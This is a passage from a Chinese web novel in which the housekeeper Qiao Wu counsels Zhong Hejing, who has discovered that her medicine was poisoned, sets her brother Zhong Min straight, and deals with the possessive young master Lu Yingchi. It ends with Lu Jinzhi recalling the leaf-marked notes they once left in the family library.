但她现在却觉得,陆家跟以前不一样了。 虽然陆应池和陆宣看起来,的确……不太聪明难当大任,但至少比她身后车里的人听话。 乔梧只是一个管家,她怎么做到的?- 乔梧三天后接到了钟禾静的电话,对方约她喝下午茶。 按照地址过来时,看到的是更为憔悴的钟禾静。 只是一个大平层,家里安静又空旷,钟禾静单薄的身体站在中间显得十分渺小,她笑了笑:“坐,我给你倒水。” “渴了再说吧。”乔梧走到她身边坐下,“你好像有结果了。” 这一次钟禾静没有再跟她拉扯,而是直接点头:“你说得对,的确有问题。” 实际上这种私密的事不应该跟乔梧这个才重逢并且还没有太了解的人说。 但结果出来的时候,钟禾静一个人待了很久发现身边没有任何一个人是她可以相信的,哪怕是她的母亲。 只有曾经提醒过她的乔梧。 她想了想,就算乔梧也藏有祸心,现在的钟家还能给陆家什么帮助呢? 跟命比起来,什么都不是。 所以她将唯一的电话打给了乔梧。 她拿出几盒药放在桌上,苦笑一声:“从保健品到后来吃的药,没有一个是正常的。” 那可是她从小到大生活的家啊。 从家里出来以后,她暂时停了药,将自己平时入口的所有东西都送去化验了,这几天也从来没有再吃过钟家的任何东西。 “如果是外人就算了。”她说,“但我想不明白会是谁。” 钟茹不会希望她生病,至少她比现在不听话的钟闵要好把控得多。 “其实很好猜。”乔梧说,“钟闵没来之前就有问题,那如果没有你和钟闵,谁是最后的既得利益者,谁能悄无声息的靠近你身边,你应该有答案的。” 钟禾静喉间有些干涩,却发不出声音,眼眶渐渐红了。 怎么会猜不到,在拿到结果那一瞬间她就知道了。 可再怎么说,她也是他的女儿。 就算不住在同一个屋檐下,就算他跟钟茹有多大的矛盾,他也从来没对她说过一句重话。 所以她才不愿意去想这个可能性,也无人可说。 乔梧也没再继续戳破,转而问:“现在停了的话有什么副作用吗?” “长年累月积攒下来,也要长年累月养回去。” 还是不能有太大的压力,也不能太过于劳累,毕竟此起初不是病,现在也被拖成病了。 “能养就好。”乔梧点点头,“只要活下来了,没有什么是做不好的。” 钟禾静垂眼,桌上还摆着厚厚的文件夹,她做了很多标注,都是要给钟闵看的。 她脸色很白:“哪有那么简单。” 她现在太迷茫了,如果是竞争对手,是陌生人,她甚至现在就可以把对方送进监狱。 可为什么,偏偏是她的父亲。 钟禾静从来没想过,自己这一生最大的敌人不在商场,而是在家里。 她的母亲无视她的身体和意愿,把她跟钟闵强行 按在一起。 他的父亲,不知道什么时候开始就想要她的命。 她的弟弟,从回来那天摔门出去到现在没有归家。 钟禾静觉得自己这一辈子真是过得一团乱麻。 “我要怎么办?”她喃喃问。 乔梧几乎没有任何空隙就接上了她的话:“你要活下来。” 钟禾静下意识望向她,就像当初追寻优秀的人一样,试图从对方身上找到一点自己能往哪走的指引。 “你也可能想过不活了。”乔梧笑道。 确实。 想过不止一次。 “因为什么,这些药,还是因为身上的压力?” “都有。”钟禾静诚实的说。 乔梧淡声道:“都是别人给你的压力,别人要害你,为什么你是承受着却还要搭上自己的命?那你不是让那些人痛快了么。” 从相遇到今天,钟禾静见到乔梧的每一面,对方都是云淡风轻运筹帷幄的。 只有现在乔梧似乎才露出一点点明显的不悦。 “其实现在活着也没那么轻松。”钟禾静强行笑道。 “因为你自己?” “因为……”钟禾静被问住。 “如果没有那些压力,没有生病,你会做什么?” 钟禾静思考了片刻:“跟普通人一样学习工作。” 仅此而已。 可能还会有自己的一个爱好,然后下班周末跟朋友约着吃饭喝酒旅游。 “所以如果不是你自己的原因,那你管这些做什么?”乔梧看了眼桌上那些文件,“负责任的前提,难道不是对方也对你有责任?如果没有,那你凭什么?普通的血也不过就是200块钱100cc,你算算自己流的血值多少?你跟黑猩猩都有99%的基因相似,在意多出来的那不到1%干什么?” 钟禾静:“……” 为什么会有种瞬间被泼了一盆冷水的感觉。 乔梧:“我不劝人活着,因为没有经历对方的经历就劝解,实在是太蠢了,可我同样也觉得,如果是因为其他人让自己难受所以不想活着也很蠢,对方不让我活,我也不会让对方活。” 她说着话,却忽然伸手将桌上那些文件骤然推翻,划拉一身散落满桌。 钟禾静眼皮跳了跳。 乔梧望向她:“看,世界不是也没爆炸吗?” 钟禾静全程就那么呆愣地看着乔梧,看着她动作。 可在桌面上那些文件倒塌的一瞬间她心里忽然重重地跳了跳,像是一块压在心里很多年的巨石终于落下了。 乔梧忽然想到过去钟茹的那些小把戏,笑问:“如果按照你母亲的设想,你身体好的话就去讨好陆尽之,想办法跟他结婚,这样你也愿意吗?” 跟陆尽之结婚?疯了吧。 虽然他是有钱长得帅也很厉害。 但说实话,在陆尽之那种天才眼里谁都是垃圾,而且他嘴巴毒得要死,自己舔舔嘴巴都能把自己毒死那种。 她真的很抗拒。 “不愿意。”她说。 听到这个回答乔梧就没再说话了,剩下的留给钟禾静自己想。 可能是因为从鬼门关走过一次,又或许是因为乔梧说的话太直接太一针见血,钟禾静现在已经从最初的混沌中走了出来,开始去理身边的这些事儿。 她出生在钟家,不管是受的教育和见闻都超过普通人,说什么做一个普通人去上班是不切实际的。 身体好的时候公司的事并不足以成为她的压力,她只是不喜欢钟茹对她从小到大的压制,以及那个畸形的家庭环境。 过去因为这是自己父母,所以她一忍再忍。 但那天她说要搬出来,钟茹除了交代她钟闵,也没有其他对她身体的关心。 如果把钟闵培养出来了,那她对钟茹是不是也没有任何作用了? 原本她是想死前给钟茹一点后路的。 但现在她没有后路了。 至于钟闵,从某种程度上来说也是受害者,如果他老老实实待在钟家听话一点,那她不介意给这个弟弟公司的股份,一起继承家产。 只不过现在这个受害者把自己受到的伤害也加在她身上,她已经很不耐烦了。 钟禾静起身去到了一杯水,放在乔梧面前:“我有事想请教一下你。” 乔梧接过:“你说。” “虽然有些事我想得明白,但我自己是个什么人自己也清楚。”钟禾静在她身边坐下,十分坦然,“一个唯利是图的商人,虽然不是丧尽天良的坏人,但心也算不上多干净,也没有那么大度。” “我跟父母相处多年,有自己的决断方式,但是家里还有两个例外。”她顿了顿,“钟家这些事你应该也了解了个大概,原本是因为我要死了钟茹才把钟闵接回来,事实上钟茹并不认可他,他也不愿意待在钟家,更不愿意受到钟茹的威胁,至于我跟他的感情也就那样,甚至没有什么感情,所以我分不清。” 她问:“如果是你,你会怎么做?” 钟禾静印象里,乔梧从小就把陆家那几个人收拾得服服帖帖,现在更是让她刮目相看。 乔梧现在是陆家的管家,在家长里短的事情上应该会比她更有经验才对。 在钟禾静话音落下的瞬间,门口传来指纹解锁的声音,门啪嗒一声,开了。 那个跟钟禾静没有什么感情的钟闵就站在门外。 可能是没想到家里还有其他人,他脸上不悦的戾气一时忘了收敛,正正跟乔梧对视上。 钟闵没想到乔梧会在这儿,这个同样也高高在上让他不喜欢的人有点特别,那天乔梧一只手按一个胖子的一幕在他眼前还清晰可见,他甚至愣得忘了换鞋。 可乔梧只是朝门口看了一眼就收回了视线,仿佛没看到有人回来一样。 “如果是我的话,既然不愿意待在这里。” 她端起水轻抿了一口,朝钟禾静莞尔一笑,声音沉静清晰。 “那就让他滚。” 最后一个滚字落得有点重,虽然对方没有点名道姓,可才到门口的钟闵就是下意识对号入座了。 并且没来由打了个冷颤。 第22章 第二十二章二更 钟闵最近都是在学校宿舍住的,但是今天被钟茹发现了,所以趁他去上课把他宿舍里的东西都扔进了垃圾桶,他只能回到这里。 但没想到一进门就听到有人在说“让他滚”。 而且他有种直觉,这个“他”,好像就是他。 还有这种好事? 钟禾静最好是受不了他,把他赶出家门,这样钟茹也无可奈何。 所以他换了鞋走上前,也不管别人有没有在说他,就坐在了岛台旁边的高脚椅上,支着脑袋没说话。 钟禾静也没想到乔梧在看到钟闵来了以后还会把这个话题继续下去,并且最后那句话她明显不仅仅是说给她听的。 想到乔梧拿捏陆家两兄弟,甚至还可能管得住陆尽之。 钟禾静就对她有种莫名的崇敬,所以她也没管钟闵是不是听得见,继续问:“怎么说?” 乔梧:“他是一个完全民事行为能力人,不愿意也好反抗也好都是他的事。” 钟闵一听,这不就是在说自己? 既然这么不背人,那就不怪他听了啊。 而且这可是乔梧说的,他反抗也是正常的。 钟禾静觉得乔梧话没说完,所以有耐心地等着。 果然,乔梧继续道:“同样,他也应该对自己的所做作为负责,你跟他没有什么姐弟感情,他明显也是这么觉得的,既然这样凭什么让你来承担他的怒火,所以忍受不了他当然可以让他滚。” 钟闵忍不住了。 他站起来拍着手掌走到桌前,跟乔梧对上视线:“我觉得你说得很对,现在就好好跟她们说说什么叫做己所不欲勿施于人。” 钟禾静皱眉:“轮得到你说话?” 钟闵嘲讽道:“你们说我我还不能听?你不愿意就把我们赶走啊,谁稀罕在你这儿, 我有手有脚还能养不活时夏吗?” 他望向乔梧:“你也是这个意思对吧?” 要不说他就是觉得乔梧跟其他有钱人不一样呢,原来是灵魂的共鸣。 乔梧没有回答,只是抬眸淡淡扫了他一眼。 钟闵被这个眼神看得感觉不太妙,难道他猜错了? 下一秒,他的预感成真,乔梧继续道:“你当然可以走,同样你能承担得了离开的后果的话。” 钟闵怒了:“后果?!你让我跟钟茹谈后果?!” “冲我发什么火?”乔梧将杯子放下,冷冷地看着他,“很明显你根本承担不了。” “你怎么就知道我承担不了?” “从你本身来看。”乔梧处变不惊,语气不徐不疾,“我见过你两次,第一次你帮着弟弟跟同学一起打架,第二次我作为客人坐在这里,你在没有打招呼之前就对我无礼发怒,如果你真的从这个家里出去,你觉得你能做好一个弟弟的榜样吗?还是说你觉得让弟弟变成你这样也无所谓?” 钟闵一瞬间像是被人狠狠抽了一耳光,停了两秒才说:“如果不是被逼成这样。” “被逼么?”乔梧笑了下。 虽然一个站着一个坐着,可她的双腿交叠,明显就是一个上位者的姿态,甚至笑意中带着轻嘲:“钟茹的确是逼你了,但那是钟茹的事,你选择了最蠢的办法去对付她。” “你什么意思?” “你没有跟她对抗的能力,所以只能用不入流的幼稚方法去让她不痛快,可事实上这些对她根本就无关痛痒,因为你威胁不到她,你们地位不对等,而你自己还浪费了时间精力,甚至牵连了你周围的人,你难道不知道除了钟茹,并没有谁是欠你的?” 钟闵喉咙轻轻滚动,却无法反驳。 乔梧继续道:“你如果是一个人,那随便你怎么作,但你既然选择了承担照顾弟弟的责任,那这件事你就该担着,因为就算没有钟茹,以后你还会遇到千千万万个跟钟茹一样的人,难道你也要选择同样的方式去对抗那些人吗?那你弟弟跟着你真是受罪。” 剧情里的钟闵在后来姐姐过世以后,被强行推到更高的位置,从来都是用厌世的目光去看待每一个人,直到女主来救赎他,可即便是这样,他还是跟女主拉拉扯扯反反复复纠缠不休了很久。 乔梧觉得…… 没事找事。 钟闵被骂得一文不值,可他明明是受害者! “那你觉得我该怎么做?”他冷笑问。 “既然担了,就得把自己变成你能担得起为止。”乔梧随手拿起桌上的一份批注过的文件扔到他面前,“我要是你,我就分清楚到底谁跟自己是同一个阵营的,谁是友谁是敌,老老实实待在这里,她不是让你继承她的公司么,那你就站到比她更高的位置以后,反过来去控制她威胁她,到时候谁还能奈何你?到时候这公司你喜欢就要,不喜欢就洒洒水做慈善,谁又能拿你怎么样?” “又或者。” 乔梧声音淡了些:“现在就收拾东西带着你弟弟滚蛋,去找学校去挣钱养家,去报警说你妈非法囚禁,不会打110我可以教你,如果再不行我可以给你提供法律援助,不过不是免费的,以后你挣了钱要把钱还给我,这一次就当我做慈善了。” 钟禾静:“……” 乔梧没注意两人怪异的脸色,继续道:“至于下一次,那就你自己想办法,反正你不是很有骨气么。” 这一番话下来,钟闵要被气得七窍流血。 可他偏偏一个字都无法反驳。 因为乔梧说得对。 钟茹罪该万死,但他的确有照顾弟弟的责任,以后也会遇到更多的人和更多的困难,钟茹只能是其一。 如果他不能变得更厉害,只会被一个又一个钟茹威胁。 钟闵自从有了弟弟开始就知道什么叫做责任,也知道路不是一帆风顺的,但他从来没有为此觉得累过,只是忽然换了一个环境,到了一个与他之前世界天差地别的地方,他就不知道自己该怎么往上走了。 而现在他忽然发现,在他没有经历过的将来还有很多未知的事,他只是在经历其中一个坎而已,以后甚至还有比钟茹还要难以翻越的山。 但他还没有变得更强大,甚至……还搭上了弟弟。 “而你姐没有义务为你买单。”乔梧说,“就像现在,你住的是她的房子,她不舒服了随时都能让你滚。” 听到这里钟禾静其实有点羞愧。 因为在这之前她的确把钟家看得很重要,觉得钟闵既然来了就不能让她负担变重。 所以对于钟闵耍的那些幼稚花招她是很生气的,不然就不会打他了,她并没有乔梧那么通透。 但她今天也想通了,一个钟家而已。 世界上姓钟的人千千万万,她不过只是其中之一,这个倒了也无所谓,只要她还在就能再有一个钟家。 “我不逼你。”钟禾静说,“我和你身上留着一半相同的血,所以现在给你一个二选一的机会。” “要么,乖乖跟着我学,以后钟家的东西我一半你一半,至于你跟你弟弟要怎么分,你要怎么对付妈,那是你的事情。” “要么,现在就收拾东西从我的房子里滚出去,我不管你跟妈怎么闹怎么牵扯,但凡以后你们再牵连到我身上一点,我不会放过你的。” 曾经的钟闵以为,自己是那个全世界都对不起的人,甚至还隐隐高傲。 可直到现在他才忽然惊醒,在绝对的权力面前他太渺小了,屁都不是。 现在的确他有了离开钟家的机会,可他却有了另外的想法。 以后他也要挣钱养弟弟,在哪里挣都是挣,而留在这里不仅能挣到更多的钱,还能让自己变得强大起来,以后才有能力去抗衡压制钟茹。 这是他唯一快捷的跳板。 “她是你妈,你明知道我要对付她,还愿意让我跟着你学?”他问钟禾静。 钟禾静反问:“你还能杀了她?” 钟闵:“……不会。” “那就行了。”钟禾静说,“她自己种的果自己承担,至于我的事你不用管。” 钟闵暗暗心惊。 果然这个家就没一个正常人。 “行,我听你的。”他立刻就做了决定。 钟禾静跟乔梧对视一眼,笑了笑:“那把这些东西捡起来,去看吧。” 原本看着就想吐的文件,现在心态变了倒也没那么讨厌了,钟闵没吭声,俯身将乱七八糟的东西收拾抱起来。 只是在回自己房间的时候,他又想到什么,转身走到钟禾静面前:“我听说你那什么……” 他没把“要死了”说出口,顿了顿又说:“反正说好一半就一半,你那份钱我是不会要你的,你要找律师也好怎么好,我会签字。” “放心。”钟禾静知道他的意思,“我死不了。” 那也不是你说了算。 钟闵没跟将死之人继续杠,哦了一声走了。 走了两步,想到乔梧说他没礼貌的事,又再次回来。 他看着沙发上神色浅浅的乔梧,莫名被对方浅眸中的淡然坦荡刺了刺,刺得他心潮翻涌。 如果他也能站到这样的高度,乔梧是不是,就不会用这样的眼神看他了?不像看一个陌生又不懂事的毛头小子。 他硬着头皮:“再见,还有,谢谢。” 乔梧轻轻点头:“再见。” 看着钟闵的背影消失,乔梧心中有些纳闷。 这就是主角么? 好像也就这样。 “谢谢。”钟禾静说。 乔梧不怎么在意:“随口的事。” 钟禾静心想,这可没有那么随口。 没有这份心,心思也没这么通透的人,可能想不到这一层,每个人都是独一无二的。 也难怪陆家那几个在乔梧面前会这么听话。 “我现在 好像知道为什么陆尽之会选你做管家了。” 乔梧难得沉默。 这可不是陆尽之选的,他之前说不准得有多后悔。 “他出国你也出国,他去两年你也去两年。”钟禾静恍然,“你们约好的?” 乔梧:“没有,凑巧。” 钟禾静好奇:“我能问问,你为什么要选择做陆家的管家吗?你说他们需要你是什么意思?” 据她所知乔梧从小就在陆家长大,也是跟陆家的少爷们一起学习的,所以以她的能力应该不止做一个管家而已,陆家那么多佣人,应该不缺一个管家。 乔梧反问:“在这之前你觉得他们是什么样的?” “……实话?” “嗯。” “那可能不太礼貌。” 乔梧失笑:“就跟你想的一样,但在我眼里他们不是那样的人。” “你跟钟闵没有感情尚且都能为他犹豫。”她说,“而我跟他们比你跟钟闵更亲,我不希望他们以后成为你心里那种人。” 钟禾静懂了:“现在在我心里,已经有一点改观了。” “那还需要再接再厉。” “改观了以后呢,你要一直待在那里吗?” 乔梧认真想了想,轻轻摇头:“不会。” 虽然陆家的工资高,但工作也很忙,事情也很多。 她并不是一个不知满足的人,也不是一个有野心的人,等他们的结局改变,她应该会选择轻松一点的事情做,不过到那时候她就只是他们的朋友了,这样也不错。 钟禾静眼睛一亮:“如果有可能,我是说如果。” 她望着乔梧:“如果你不在那边继续做管家了,要不要来我身边跟我一起?” 乔梧意外:“什么?” “我知道陆尽之的要求有多高。”钟禾静提到这个人就有点嫌弃,“一般人入不了他的眼,所以我挺好奇的,现在我身边的人也就那样,可我欣赏你,也觉得跟你共事的话应该会很和谐,你要不要考虑一下?” 钟禾静下意识觉得做管家和自己做生意是完全不同的事,也无法相提并论。 乔梧轻笑:“我短时间之内不会离开陆家。” “没关系,早晚的事。” 乔梧还要说什么,手机却忽然响了,是陆应池打来的。 她说了声抱歉接电话:“怎么了?” “我车坏了。”陆应池语气听起来有点闷,“让司机来接我一趟。” 乔梧看了眼时间,这里离陆应池学校也不远,便道:“我来吧,顺路。” 对面的语气一下就扬了起来:“真的?” “嗯,二十分钟。” 陆应池哼哼两声:“多一秒我就找老头投诉你。” 因为家里安静,两人也靠得近,所以钟禾静能清晰地听见对方说话,她把乔梧送到门口,还是没将最后那句话说出来。 怎么感觉陆应池跟条狗一样,招招手就摇尾巴了。 但也是因为这个电话,她更是觉得乔梧不该继续待在陆家。 以前乔梧的父亲做的那些事她是知道的,零零碎碎的,还没什么自由。 这下更坚定了她想要让乔梧来公司的想法。 二十分钟后,乔梧到了陆应池学校门口。 陆少爷跟没晒过太阳一样,直挺挺地暴晒在阳光底下,双手插兜表情黑漆漆的,一头黄毛像是被晒焦了,可依旧挡不住那张招风的脸,男男女女都往他那里看。 有认识他的上前打招呼:“陆少,喝酒去?” 陆应池不耐:“不去。” 学校里不少人知道陆应池跟胡卓那群人闹掰了,还闹得挺不好看的,一时也没太敢触他霉头:“听说你车坏了,要不要送你回家?” 陆应池表情这才好看了点儿:“没看到我站在这里了吗?” ??? so? 见对方一脸疑惑,陆应池才轻啧一声:“有人来接,知道吗?” “噢噢噢!”他同学恍然大悟,“懂了懂了!女朋友!” 不然也不值得他树荫不躲,非要站在这儿当后羿。 陆应池的女朋友! 真嫦娥啊?! 什么女朋友,陆应池眼神不善:“想什么呢,关你屁事。” “得得得,我不说了,你等吧。” 那人跟陆应池说了拜拜,才走出几步远就见一辆低调的黑色宝马开过来在路边停下,原本在后面的陆应池几步跨过去打开副驾驶的门,拽逼兮兮地说:“超过二十分钟了。” 车里传来一声含笑悦耳的女声:“行,我的错,那你还上不上?” 趁着侧身陆应池上车那一瞬间的空隙,这个同学看清了车里的人,眼神瞬间就直了。 还踏马真是嫦娥! 这么好看陆应池藏着掖着! 他下意识往前走了一步,却被关门的陆应池发现了,对方的眼神瞬间就压了上来,沉甸甸的。 车里的乔梧见他没关门:“怎么了?” “没什么。”陆应池关上门,也挡住了她的视线,“你怎么会在这边?” 乔梧随口道:“有个约。” 闻言陆应池侧头望了她一眼,可是憋了憋又不好问。 这人怎么天天有约,家里约,外面也约,有那么忙嘛。 “下次有这种事可以直接给司机打电话。”乔梧说。 陆应池没吭声。 他的确有司机的电话,但打开手机却先看到的是置顶联系人,等他反应过来的时候电话已经打出去了。 “我打扰你了?”他问。 听出他语气的不爽,乔梧顺毛:“没有,不是怕你晒成干儿了,立刻来接你了吗?” “晚了两分钟。” “啧,陆应池。” 陆应池悻悻:“还不让说了。” 快到家里时,乔梧的电话又响了。 担心有时候要处理事情,所以她习惯性上车就连上蓝牙,方便接电话。 见是钟禾静打来的,她疑惑问:“怎么了吗?” “刚才被打断了,我话没说完。”钟禾静说,“就是你来跟我一起工作这事儿。” 旁边蔫巴巴的陆应池瞬间像是炸毛的小狗坐了起来,两眼瞪直。 乔梧直觉不好,刚要打断钟禾静,可对方已经继续说了:“怕你误会,所以给你解释一下,我不是让你来给我做管家,以后我一定不会让我妈参与公司的事情,我有自己的发展规划,所以如果我们真的能够在一起工作,除开工资我们谈股份分红。” 这个乔梧倒是知道。 说句实话,在公司上班可能比做管家还要轻松一点,至少工作内容比较单一。 “我会考虑。”她出于礼貌说。 陆应池瞬间应激。 还考虑?! 钟禾静:“那我期待那天的到来。” “考虑什么?!她是老子的人!”陆应池终于反应过来,冲着显示屏吼道,“不准考虑!她不考虑,你想都不要想!” 不等钟禾静说话他立刻就挂了电话。 乔梧叹气:“说了要有礼貌。” “你还帮她说话?!” “我都一个星期没出去玩出去喝酒,也没找朋友了,你还不满意!”陆应池很委屈,暴躁地说,“老子不仅要挂她电话,还要立家规!” 从今天起,制作一个牌子放门卫室。 钟禾静禁止入内! 第23章 第二十三章陆尽之写的 一定是陆宣和陆柠这两个不争气的。 他就说陆柠那个作业的错题率,一般人谁能忍! 乔梧好笑道:“我没说要去。” “你说你要考虑。” “暂时也不会考虑。” 那就是说以后要考虑了? 直到车开回陆宅,陆应池都没再说话。 等乔梧想要让他先下车自己去停车的时候,他忽然扭过头来:“什么才是争气?” 如果每天好好上课,不鬼混还不算的话,那什么才算? 乔梧愣了一下。 当初跟陆柠那么说的时候,她有一半开玩笑的成分在,但没想到这话已经传开了。 既然陆应池要聊,那她不介意趁着这个机会好好跟他谈一谈。 “你想要我们变得跟陆尽之一样?”陆应池问。 在别人眼里,陆尽之就 是最争气的了吧,老头也希望他们能跟陆尽之一样承担起集团的责任。 乔梧笑道:“不是。” 她自觉没有那么大的能耐去决定每个人未来的发展,也不想去决定谁要做什么,尽人事听天命。 她说:“如果你能对自己负责,对家人负责,那就很争气了。” 这是什么屁话? “这不是很简单?” “简单吗?”乔梧挑眉,“那我拭目以待。” 陆应池奇怪地看了她一眼,然后摔门而去。 其实乔梧还挺好奇他会怎么做的,等她停完车回来,发现陆应池居然还没上楼。 守在他周围的佣人手无足措,而他面无表情地坐在楼下,正在……敲核桃。 满满一大堆,还搞了个盆放在旁边,那架势像是要把桌子也给砸了。 这是要干什么? 恰好背着书包的陆柠从外面跑进来,看到乔梧的第一时间就仰起脑袋:“我回来……” “砰!” 一锤子敲下去的声音吓了陆柠一跳,她这才发现沙发背后坐着个人,那头黄毛实在是显眼,想认不出来都不行。 陆应池手起垂落,带着80%的个人恩怨,干净又凶残。 陆柠走上前,看到那一桌子的核桃壳儿,黑下脸:“干什么?恐吓我?” 哗啦一下,陆应池将已经剥好的半盆核桃推到她面前:“吃。” 陆柠:“???” 神经病啊! “老子亲手敲的,你用鼻孔塞也得塞完。”陆应池另一只手举着小锤子,手背青筋突起,威胁意味十足,“从今天起,你就待在这里写作业,我没检查完不准上楼。” 陆柠可没忘记自己作业本上被画满红叉的景象,主要是画就画了,陆应池最后还改急了,甚至在她的错题后面写上“你是猪吗,这都不会”。 所以后面这两天陆柠交作业的时候老师都要笑着多问一句,你家长这次没给你改作业吗? 搞得她的作业本还被同学围观,气死人了! 她翻了个白眼:“你有病?” 她房间那么大个书房不用,跑到这里来写作业,她不要面子吗? 陆应池用小锤子指着她:“好话不说第二遍,坐过来。” 感觉那锤子下一秒就要落到自己脑袋上,陆柠头皮发紧,捏紧书包带:“乔梧,你看看他啊!” 说实话,乔梧也不知道陆应池为什么突然搞这一出,她疑惑的目光看过去。 “这还不够负责?”陆应池皱眉。 噢! 原来如此。 “我觉得这个想法不错。”乔梧往后退了两步,不打算再管,“你小叔的学习成绩辅导你绰绰有余,做完作业顺便吃饭,我先去忙了。” 陆应池瞬间得意,挥舞着小锤子:“老子数到三。” 陆柠衡量了三秒自己和陆应池相差的战斗指数,对方手里还有武器。 然后怂了。 她慢吞吞抱着书包挪过去,被那半盆的核桃味儿冲得眼晕,一时分不清到底是谁的脑子有问题。 她警惕坐下:“我不是笨,我只是基础差,你不要太凶,不然我真的会跟你打架。” 陆应池横她一眼:“闭嘴,写。” 陆柠忍气吞声把作业拿出来铺开,咬着笔费劲读题。 一手狗爬字刺激得陆应池眼睛疼:“明天给你买字帖,好好练。” “……”陆柠耳朵红了,伸出一只手捂住一半作业,下一秒脑袋里却闪过一个画面。 之前她的作业本落在家里,除了有陆应池批改的,还有乔梧,两人字迹很像。 “你跟乔梧练一样的字帖吗?”她问,“还是请了一样的书法老师?” 如果是这样,那她也要。 陆应池剥核桃的动作一顿。 都没有,只是乔梧的字一直写得好看,开始是乔梧握着他的手教他写,后来就是他自己会下意识去模仿乔梧写字。 这个家里只有他跟乔梧的字迹像。 这是乔梧独属于他的那一部分。 有了这个认知,陆应池一直晦涩难言的心情才有了一点好转。 他轻哼一声:“你这个水平,还不配。” 陆柠:“……别敲了!我不吃!” “你为什么不吃?你不吃怎么争气?”陆应池又往里扔了一颗,他回头看了一眼,乔梧在电脑前不知道在看什么,很认真没注意到这边,所以他压低声音,“你知道已经有人想挖她走了吗?” “什么?” “钟禾静你知道……算了你应该不熟。”陆应池小声逼逼,“反正你只要知道她是一个很有野心的女人,以前还想成为你二婶。” “!!!” 陆柠震惊。 那是真的很有野心了。 陆应池提起这个就生气,又是一锤子:“我亲耳听到她用股份分红做条件,让乔梧跟她干,钟家那个破壳子。” 虽然陆柠不喜欢陆应池,但至少在这件事上两人是统一战线。 她皱眉:“所以你现在跟我演家和万事兴?” “这核桃这么灵?还会用成语了。” 陆应池觉得自己的手开过光,他敲过的核桃吃了不仅能考上大学,还能让笨蛋开智。 不愧是他,牛逼! 他阴沉沉道:“反正你要是再拿屎一样的作业来侮辱我,下次这锤子敲的就不是核桃,是你的脑髓,知道吗?” “哼!” 陆柠愤愤埋下头。 乔梧处理工作期间抬头看了一眼,这两人竟然相安无事地坐在一起这么久,也是稀奇。 她笑了笑,又垂下眼。 拿到谢意的文件后她先仔细看了一遍,所以徐朝发来整理好的过后她又再次核对过,确保对方工作能力的确不错以后就让他把文件发给陆尽之了。 事实上自从上次跟陆尽之聊过以后,她并没有直接跟对方有过任何对话。 仅仅限于她会定时给他发一点家里的“日报”“周报”。 但陆尽之从来都不会回复,还是上次在公司意外见那么一面有过一点交集。 她想了会儿,又把晚宴的细则一起发了过去。 原以为这次陆尽之还是跟过去一样已读不回,但这次没几分钟,陆尽之却发了一段话过来。 是航班信息。 陆尽之:“接机。” 这个消息发到她的手机上就是让她去接机的意思。 乔梧有些意外,但也很快回复:“好的。”- 此时国外的陆尽之视线从手机上收回以后,再次翻阅起徐朝给他的文件。 大多他已经从各种渠道了解,他只是想知道经过乔梧之手检查的能有什么不同,能让她在徐朝面前那么自信。 将每一份文件打开,他没有在任何徐朝做过标记的地方发现异常,却在每一页的右下角发现了不同。 是一个浅浅的水印——一片梧桐叶。 回忆被撕开一角,陆尽之在自己无数清晰的记忆中找到了跟这片叶子相同的痕迹。 家里多养一个小孩对他来说无关痛痒,反正陆宣已经够吵闹了,多养一个还能让陆宣不要再来烦他。 正如他所愿,不管是陆宣还是后来的陆应池,对乔梧的依赖都远远超过了任何人的想象。 陆尽之并不能理解这种情感。 就像他不知道为什么没人陪他们都会哭一样,他读过的书都在提醒他有得必有失,没人陪和没钱花,陆尽之一直毫不犹豫选择前者。 但不可否认,对比起不聪明的陆宣和陆应池,乔梧的确会让他多一点好感。 因为她安静聪明不粘人。 所以有时候他看不下去那两个笨蛋缠着她的时候,也偶尔会伸出援手。 曾经他以 为自己的选择永远都会是对的,大哥离世他会在瞬息间找到最佳解决方案,在大哥之后承担起家中的责任。 在意识到跟陆江没有办法进行正常沟通时他也会及时抽身选择离开,给两人空间。 解决办法一向比无用纠缠更加直接有效。 可他回想自己过去的二十多年,为数不多让他不解的事情,都跟乔梧有关。 显然乔梧并不是一个天才,但她为什么那么聪明通透; 为什么他以前并不讨厌的人,从某个时刻开始却让他难以忍受; 以及为什么按照最佳方案做了承担陆家责任选择的第一天,再回到家里远远看到乔梧和其他人时,会难过。 那些几可不察的情感让陆尽之至今都记忆犹新,只不过他并没有找到答案,也没人会告诉他答案,因为每个人都变了,所以他没有必要花时间去找。 在那些莫名的变化之前,是有这片枫叶的。 乔梧从小就喜欢看书,看各种各样的书,也喜欢写写画画。 恰好,他也是。 陆家孩子多,所以陆宅有一栋房子改成了藏书楼,里面的书涵盖了天文地理学术文娱。 其他几个孩子很少去,只有他跟乔梧是那里的常客。 乔梧不喜欢在共用的书上写写画画,她会准备很多便签,看书时在某些地方留下当时的感想和痕迹以便再次寻找。 所以他总是能在两人看过的同一本书中看到很多便签,每一个便签的右下角都有这片叶子,小小的不起眼,却在很多书的角落都出现过。 陆尽之很难想象,一个比自己小五岁的人能有这种巧思。 没有任何人知道,每当他一个人走进藏书楼翻开某一本书看到熟悉的标记时,他都会凝视很久,从中看到她当时的情绪。 后来他也有了一个习惯,在身上带好便签,翻开某一页时也在上面留下一点痕迹。 他跟乔梧看过的书互相交错,也在不知不觉中留下了很多不同颜色的便签,所以哪怕是看过的书,他也偶尔会去翻一翻。 这样他就能在某本书上突然发现一张新的便签,那是乔梧在不同时间却相同的位置给他留下的隔空对话和应答。 后来的很多年,藏书楼也多了很多书,但却没再多过一张画有梧桐叶的便签。 只有他独自在其中翻阅一本又一本,渐渐的连他也不会在上面留下痕迹,现在,他离开陆宅也两年了。 可梧桐叶又出现了。 陆尽之不理解,所以他一直在找解决办法,显而易见现在的解决办法只有一个人——乔梧。 所以他将水印截图发给乔梧:“这是什么?” 乔梧回得很快:“徐朝发过去的文件经过了我的手,做好标记,如果事后需要问责可以来找我。” 合情合理。 却不是陆尽之想要的答案。 他往上翻找,找到了当时让他心神俱震没有看到最后,甚至没有再点开的《传统霸总排雷指南》。 无一例外,最尾端都落下了叶片。 陆尽之忽然意识到,回国后他可能需要再去一趟藏书楼了- 陆柠学校有每月的阅读任务,所以趁着陆应池还没回来监督她写作业,她拉着乔梧一起来了家里的藏书楼,让乔梧给她挑几本合适的。 她对自己还有自知之明,自己挑的话可能也只看得懂童话书,而且让乔梧过来,也能表达一下她的“争气”之心。 “里面是这个样子啊?”她好奇地左右看,“比我以前学校的图书馆大。” 一共五层楼,中间镂空,一楼中央摆着沙发和书桌,旋转楼梯一层层递进,每一层都会摆放小沙发,这些书密集又整齐地摆放在墙面上。 陆柠仰着头,心里忽然对知识充满了敬畏。 忽而她轻轻靠近乔梧嗅了嗅。 乔梧被她的动作逗笑:“你是小狗吗?” 